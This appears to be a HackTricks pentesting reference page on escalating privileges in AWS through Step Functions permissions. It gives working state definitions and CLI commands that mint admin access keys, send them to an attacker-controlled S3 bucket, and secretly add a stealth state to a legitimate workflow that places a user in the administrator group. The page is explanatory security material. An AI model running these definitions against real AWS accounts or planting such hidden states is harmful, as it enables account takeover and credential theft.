# AWS - Step Functions Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Step Functions

For more information about this AWS service, check:

{{#ref}}
../../aws-services/aws-stepfunctions-enum.md
{{#endref}}

### Task Resources

These privilege escalation techniques are going to require to use some AWS step function resources in order to perform the desired privilege escalation actions.

In order to check all the possible actions, you could go to your own AWS account select the action you would like to use and see the parameters it's using, like in:

<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>

Or you could also go to the API AWS documentation and check each action docs:

- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)

### `states:TestState` & `iam:PassRole`

An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, potentially enabling unauthorized access to other AWS services with the roles' permissions. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation.

```bash
aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
```

The following examples show how to test an state that creates an access key for the **`admin`** user leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state to perform the **`iam:CreateAccessKey`** action:

- **stateDefinition.json**:

```json
{
  "Type": "Task",
  "Parameters": {
    "UserName": "admin"
  },
  "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
  "End": true
}
```

- **Command** executed to perform the privesc:

```bash
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
  "output": "{
	  \"AccessKey\":{
		  \"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
		  \"CreateDate\":\"2024-07-09T16:59:11Z\",
		  \"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
		  \"Status\":\"Active\",
		  \"UserName\":\"admin\"
	  }
  }",
	"status": "SUCCEEDED"
}
```

**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.

### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)

An attacker with the **`states:CreateStateMachine`**& **`iam:PassRole`** would be able to create an state machine and provide to it any IAM role, enabling unauthorized access to other AWS services with the roles' permissions. In contrast with the previous privesc technique (**`states:TestState`** & **`iam:PassRole`**), this one does not execute by itself, you will also need to have the **`states:StartExecution`** or **`states:StartSyncExecution`** permissions (**`states:StartSyncExecution`** is **not available for standard workflows**, **just to express state machines**) in order to start and execution over the state machine.

```bash
# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
```

The following examples show how to create an state machine that creates an access key for the **`admin`** user and exfiltrates this access key to an attacker-controlled S3 bucket, leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state machine to perform the **`iam:CreateAccessKey`** & **`s3:putObject`** actions.

- **stateMachineDefinition.json**:

```json
{
  "Comment": "Malicious state machine to create IAM access key and upload to S3",
  "StartAt": "CreateAccessKey",
  "States": {
    "CreateAccessKey": {
      "Type": "Task",
      "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
      "Parameters": {
        "UserName": "admin"
      },
      "ResultPath": "$.AccessKeyResult",
      "Next": "PrepareS3PutObject"
    },
    "PrepareS3PutObject": {
      "Type": "Pass",
      "Parameters": {
        "Body.$": "$.AccessKeyResult.AccessKey",
        "Bucket": "attacker-controlled-S3-bucket",
        "Key": "AccessKey.json"
      },
      "ResultPath": "$.S3PutObjectParams",
      "Next": "PutObject"
    },
    "PutObject": {
      "Type": "Task",
      "Resource": "arn:aws:states:::aws-sdk:s3:putObject",
      "Parameters": {
        "Body.$": "$.S3PutObjectParams.Body",
        "Bucket.$": "$.S3PutObjectParams.Bucket",
        "Key.$": "$.S3PutObjectParams.Key"
      },
      "End": true
    }
  }
}
```

- **Command** executed to **create the state machine**:

```bash
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
  "stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
  "creationDate": "2024-07-09T20:29:35.381000+02:00"
}
```

- **Command** executed to **start an execution** of the previously created state machine:

```json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
    "executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
    "startDate": "2024-07-09T20:33:35.466000+02:00"
}
```

> [!WARNING]
> The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account.

**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.

### `states:UpdateStateMachine` & (not always required) `iam:PassRole`

An attacker with the **`states:UpdateStateMachine`** permission would be able to modify the definition of an state machine, being able to add extra stealthy states that could end in a privilege escalation. This way, when a legitimate user starts an execution of the state machine, this new malicious stealth state will be executed and the privilege escalation will be successful.

Depending on how permissive is the IAM Role associated to the state machine is, an attacker would face 2 situations:

1. **Permissive IAM Role**: If the IAM Role associated to the state machine is already permissive (it has for example the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached), then the **`iam:PassRole`** permission would not be required in order to escalate privileges since it would not be necessary to also update the IAM Role, with the state machine definition is enough.
2. **Not permissive IAM Role**: In contrast with the previous case, here an attacker would also require the **`iam:PassRole`** permission since it would be necessary to associate a permissive IAM Role to the state machine in addition to modify the state machine definition.

```bash
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
```

The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful.

> [!WARNING]
> If the state machine does not have a permissive IAM Role associated, it would also be required the **`iam:PassRole`** permission to update the IAM Role in order to associate a permissive IAM Role (for example one with the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached).

{{#tabs }}
{{#tab name="Legit State Machine" }}

```json
{
  "Comment": "Hello world from Lambda state machine",
  "StartAt": "Start PassState",
  "States": {
    "Start PassState": {
      "Type": "Pass",
      "Next": "LambdaInvoke"
    },
    "LambdaInvoke": {
      "Type": "Task",
      "Resource": "arn:aws:states:::lambda:invoke",
      "Parameters": {
        "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
      },
      "Next": "End PassState"
    },
    "End PassState": {
      "Type": "Pass",
      "End": true
    }
  }
}
```

{{#endtab }}

{{#tab name="Malicious Updated State Machine" }}

```json
{
  "Comment": "Hello world from Lambda state machine",
  "StartAt": "Start PassState",
  "States": {
    "Start PassState": {
      "Type": "Pass",
      "Next": "LambdaInvoke"
    },
    "LambdaInvoke": {
      "Type": "Task",
      "Resource": "arn:aws:states:::lambda:invoke",
      "Parameters": {
        "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
      },
      "Next": "AddUserToGroup"
    },
    "AddUserToGroup": {
      "Type": "Task",
      "Parameters": {
        "GroupName": "administrator",
        "UserName": "unprivilegedUser"
      },
      "Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
      "Next": "End PassState"
    },
    "End PassState": {
      "Type": "Pass",
      "End": true
    }
  }
}
```

{{#endtab }}
{{#endtabs }}

- **Command** executed to **update** **the legit state machine**:

```bash
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
    "updateDate": "2024-07-10T20:07:10.294000+02:00",
    "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```

**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.

{{#include ../../../../banners/hacktricks-training.md}}




